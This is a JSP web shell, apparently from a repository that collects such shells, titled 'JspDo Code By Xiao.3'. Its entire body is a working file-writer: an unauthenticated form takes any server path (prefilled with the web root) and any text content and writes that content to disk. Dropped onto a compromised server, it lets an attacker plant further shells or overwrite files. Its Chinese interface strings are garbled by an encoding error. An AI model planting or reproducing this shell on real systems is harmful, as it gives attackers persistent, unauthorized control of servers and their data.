webshell/jsp/12302.jsp
tennc df6d55ad4f update
php shell and jsp shell
2013-09-13 10:44:57 +08:00

47 lines
2 KiB
Text

<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
<title>JspDo Code By Xiao.3</title>
<style type="text/css">
body { color:red; font-size:12px; background-color:white; }
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='????????????è????°???????????????é??é??!'>????????????!</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font color='red'>???????¤±è??!</font>");
} catch (IOException ex) {
out.println("<font color='red'>???????¤±è??!</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font color='red'>???????¤±è??!</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<font color="blue">????????????è·????:</font><%out.print(request.getRealPath(request.getServletPath())); %>
<br>
<br>
<font color="blue">????????????è·????:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
??????????????????:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>